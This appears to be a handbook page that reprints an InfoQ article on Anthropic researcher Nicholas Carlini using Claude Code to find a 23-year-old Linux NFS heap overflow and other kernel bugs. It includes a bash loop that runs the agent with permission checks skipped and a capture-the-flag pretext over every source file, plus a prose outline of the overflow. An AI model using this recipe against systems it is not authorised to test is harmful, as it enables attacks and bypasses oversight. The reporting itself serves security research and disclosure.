As part of our continued collaboration with Anthropic, we had the opportunity to apply an early version of Claude Mythos Preview to Firefox. This week’s release of Firefox 150 includes fixes for 271 vulnerabilities identified during this initial evaluation." - Mozilla Blog

Lesson 101

 Do the same and test Pipi for vulnerabilities.

Resources

References

  • Reference

Repository

  • Home > Ajabbi Research > Library > Subscriptions > InfoQ Weekly Digest
  • Home > Handbook > 

Last Updated

27/04/2026

Claude Code Used to Find Remotely Exploitable Linux Kernel Vulnerability Hidden for 23 Years

By: Steef-Jan Wiggers
InfoQ: 15/04/2026

Steef-Jan Wiggers is one of InfoQ's senior cloud editors and works as a Domain Architect at VGZ in the Netherlands. His current technical expertise focuses on implementing integration platforms, Azure DevOps, AI, and Azure Platform Solution Architectures. Steef-Jan is a regular speaker at conferences and user groups and writes for InfoQ. Furthermore, Microsoft has recognized him as a Microsoft Azure MVP for the past sixteen years.

Anthropic research scientist Nicholas Carlini reported at the [un]prompted AI security conference that he used Claude Code to discover multiple remotely exploitable security vulnerabilities in the Linux kernel, including a heap buffer overflow in the NFS driver that has been present since 2003. The bug has since been patched, and Carlini has identified a total of five Linux kernel vulnerabilities so far, with hundreds more potential crashes awaiting human validation.

Michael Lynch wrote a detailed breakdown of the findings based on Carlini's conference talk. What makes the discovery notable is not just the age of the bug but how little oversight Claude Code needed to find it. Carlini used a simple bash script that iterates over every source file in the Linux kernel and, for each file, tells Claude Code it is participating in a capture-the-flag competition and should look for vulnerabilities. No custom tooling, no specialized prompts beyond biasing the model toward one file at a time:


# Iterate over all files in the source tree.
find . -type f -print0 | while IFS= read -r -d '' file; do
  # Tell Claude Code to look for vulnerabilities in each file.
  claude \
    --verbose \
    --dangerously-skip-permissions     \
    --print "You are playing in a CTF. \
            Find a vulnerability.      \
            hint: look at $file        \
            Write the most serious     \
            one to the /output dir"
done

The NFS vulnerability itself required understanding intricate protocol details. The attack uses two cooperating NFS clients against a Linux NFS server. Client A acquires a file lock with a 1024-byte owner ID, which is unusually long but legal. When Client B then attempts to acquire the same lock and gets denied, the server generates a denial response that includes the owner ID. The problem is that the server's response buffer is only 112 bytes, but the denial message totals 1056 bytes. The kernel writes 1056 bytes into a 112-byte buffer, giving the attacker control over overwritten kernel memory. The bug was introduced in a 2003 commit that predates git itself.

The model progression is arguably the most significant part of the story for practitioners. Carlini tried to reproduce his results on earlier models and found that Opus 4.1, released eight months ago, and Sonnet 4.5, released six months ago, could only find a small fraction of what Opus 4.6 discovered. That capability jump in a matter of months suggests the window in which AI-assisted vulnerability discovery becomes routine is narrowing fast.

This aligns with what Linux kernel maintainers are seeing from the other side. As shared in a Reddit thread discussing the findings, Greg Kroah-Hartman, one of the most senior Linux kernel maintainers, described the shift:

Something happened a month ago, and the world switched. Now we have real reports... All open source security teams are hitting this right now.

Willy Tarreau, another kernel maintainer, corroborated this on LWN, noting that the kernel security list went from 2-3 reports per week to 5-10 per day, and that most of them are now correct.

The false positive question remains open. Carlini has "several hundred crashes" he hasn't had time to validate, and he is deliberately not sending unvalidated findings to kernel maintainers. On Hacker News, Lynch (the blog post author) stated that in his own experience using Claude Opus 4.6 for similar work, the false positive rate is below 20%.

Salvatore Sanfilippo, creator of Redis, commented on the same Hacker News thread that the validation step is increasingly being handled by the models themselves:

The bugs are often filtered later by LLMs themselves: if the second pipeline can't reproduce the crash / violation / exploit in any way, often the false positives are evicted before ever reaching the human scrutiny.

Thomas Ptacek, a security researcher who has spent most of his career in vulnerability research, argued on Hacker News that LLM-based vulnerability discovery represents a fundamentally different category of tool:

If you wanted to be reductive you'd say LLM agent vulnerability discovery is a superset of both fuzzing and static analysis.

Ptacek elaborated that static analyzers generate large numbers of hypothetical bugs that require expensive human triage, and fuzzers find bugs without context, producing crashers that remain unresolved for months. LLM agents, by contrast, recursively generate hypotheses across the codebase, take confirmatory steps, generate confidence levels, and place findings in context by spelling out input paths and attack primitives.

The dual-use concern was raised repeatedly across both discussion threads. As one Reddit commenter put it:

If AI can surface 23-year-old latent vulnerabilities in Linux that human auditors missed, adversaries with the same capability can run that process against targets at scale.

Carlini's five confirmed Linux kernel vulnerabilities span NFS, io_uring, futex, and ksmbd, all of which have kernel commits now in the stable tree. The [un]prompted talk is available on YouTube.